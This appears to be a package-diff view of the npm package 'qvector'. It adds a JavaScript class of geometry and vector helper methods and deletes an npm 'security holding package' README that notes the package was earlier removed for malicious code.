|
+
* Calculate the arc sine (inverse sine) in degrees
|
|
49
|
+
* @param {number} value
|
|
50
|
+
* @returns {number}
|
|
51
|
+
*/
|
|
52
|
+
static asin(value) {
|
|
53
|
+
return this.toDegrees(Math.asin(value));
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
/**
|
|
57
|
+
* Calculate the arc cosine (inverse cosine) in degrees
|
|
58
|
+
* @param {number} value
|
|
59
|
+
* @returns {number}
|
|
60
|
+
*/
|
|
61
|
+
static acos(value) {
|
|
62
|
+
return this.toDegrees(Math.acos(value));
|
|
63
|
+
}
|
|
64
|
+
|
|
65
|
+
/**
|
|
66
|
+
* Calculate the arc tangent (inverse tangent) in degrees
|
|
67
|
+
* @param {number} value
|
|
68
|
+
* @returns {number}
|
|
69
|
+
*/
|
|
70
|
+
static atan(value) {
|
|
71
|
+
return this.toDegrees(Math.atan(value));
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
/**
|
|
75
|
+
* Calculate the hypotenuse of a right triangle
|
|
76
|
+
* @param {number} a
|
|
77
|
+
* @param {number} b
|
|
78
|
+
* @returns {number}
|
|
79
|
+
*/
|
|
80
|
+
static hypotenuse(a, b) {
|
|
81
|
+
return Math.sqrt(a ** 2 + b ** 2);
|
|
82
|
+
}
|
|
83
|
+
|
|
84
|
+
/**
|
|
85
|
+
* Calculate the distance between two points in 2D space
|
|
86
|
+
* @param {number} x1
|
|
87
|
+
* @param {number} y1
|
|
88
|
+
* @param {number} x2
|
|
89
|
+
* @param {number} y2
|
|
90
|
+
* @returns {number}
|
|
91
|
+
*/
|
|
92
|
+
static distance2D(x1, y1, x2, y2) {
|
|
93
|
+
return this.hypotenuse(x2 - x1, y2 - y1);
|
|
94
|
+
}
|
|
95
|
+
|
|
96
|
+
/**
|
|
97
|
+
* Calculate the distance between two points in 3D space
|
|
98
|
+
* @param {number} x1
|
|
99
|
+
* @param {number} y1
|
|
100
|
+
* @param {number} z1
|
|
101
|
+
* @param {number} x2
|
|
102
|
+
* @param {number} y2
|
|
103
|
+
* @param {number} z2
|
|
104
|
+
* @returns {number}
|
|
105
|
+
*/
|
|
106
|
+
static distance3D(x1, y1, z1, x2, y2, z2) {
|
|
107
|
+
return Math.sqrt((x2 - x1) ** 2 + (y2 - y1) ** 2 + (z2 - z1) ** 2);
|
|
108
|
+
}
|
|
109
|
+
|
|
110
|
+
/**
|
|
111
|
+
* Calculate the angle between two vectors in 2D space
|
|
112
|
+
* @param {number} x1
|
|
113
|
+
* @param {number} y1
|
|
114
|
+
* @param {number} x2
|
|
115
|
+
* @param {number} y2
|
|
116
|
+
* @returns {number} Angle in degrees
|
|
117
|
+
*/
|
|
118
|
+
static angleBetweenVectors2D(x1, y1, x2, y2) {
|
|
119
|
+
const dotProduct = x1 * x2 + y1 * y2;
|
|
120
|
+
const magnitude1 = Math.sqrt(x1 ** 2 + y1 ** 2);
|
|
121
|
+
const magnitude2 = Math.sqrt(x2 ** 2 + y2 ** 2);
|
|
122
|
+
const cosTheta = dotProduct / (magnitude1 * magnitude2);
|
|
123
|
+
return this.acos(cosTheta);
|
|
124
|
+
}
|
|
125
|
+
|
|
126
|
+
/**
|
|
127
|
+
* Normalize a vector in 2D space
|
|
128
|
+
* @param {number} x
|
|
129
|
+
* @param {number} y
|
|
130
|
+
* @returns {object} Normalized vector
|
|
131
|
+
*/
|
|
132
|
+
static normalizeVector2D(x, y) {
|
|
133
|
+
const magnitude = Math.sqrt(x ** 2 + y ** 2);
|
|
134
|
+
return { x: x / magnitude, y: y / magnitude };
|
|
135
|
+
}
|
|
136
|
+
|
|
137
|
+
/**
|
|
138
|
+
* Normalize a vector in 3D space
|
|
139
|
+
* @param {number} x
|
|
140
|
+
* @param {number} y
|
|
141
|
+
* @param {number} z
|
|
142
|
+
* @returns {object} Normalized vector
|
|
143
|
+
*/
|
|
144
|
+
static normalizeVector3D(x, y, z) {
|
|
145
|
+
const magnitude = Math.sqrt(x ** 2 + y ** 2 + z ** 2);
|
|
146
|
+
return { x: x / magnitude, y: y / magnitude, z: z / magnitude };
|
|
147
|
+
}
|
|
148
|
+
|
|
149
|
+
/**
|
|
150
|
+
* Rotate a 2D vector by a given angle
|
|
151
|
+
* @param {number} x
|
|
152
|
+
* @param {number} y
|
|
153
|
+
* @param {number} angle Angle in degrees
|
|
154
|
+
* @returns {object} Rotated vector
|
|
155
|
+
*/
|
|
156
|
+
static rotateVector2D(x, y, angle) {
|
|
157
|
+
const radians = this.toRadians(angle);
|
|
158
|
+
return {
|
|
159
|
+
x: x * Math.cos(radians) - y * Math.sin(radians),
|
|
160
|
+
y: x * Math.sin(radians) + y * Math.cos(radians),
|
|
161
|
+
};
|
|
162
|
+
}
|
|
163
|
+
|
|
164
|
+
/**
|
|
165
|
+
* Calculate the projection of a vector onto another in 2D space
|
|
166
|
+
* @param {number} x1
|
|
167
|
+
* @param {number} y1
|
|
168
|
+
* @param {number} x2
|
|
169
|
+
* @param {number} y2
|
|
170
|
+
* @returns {object} Projected vector
|
|
171
|
+
*/
|
|
172
|
+
static projectVector2D(x1, y1, x2, y2) {
|
|
173
|
+
const dotProduct = x1 * x2 + y1 * y2;
|
|
174
|
+
const magnitudeSquared = x2 ** 2 + y2 ** 2;
|
|
175
|
+
const scale = dotProduct / magnitudeSquared;
|
|
176
|
+
return { x: scale * x2, y: scale * y2 };
|
|
177
|
+
}
|
|
178
|
+
}
|
|
179
|
+
|
|
180
|
+
module.exports = QVector;
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=qvector for more information.
|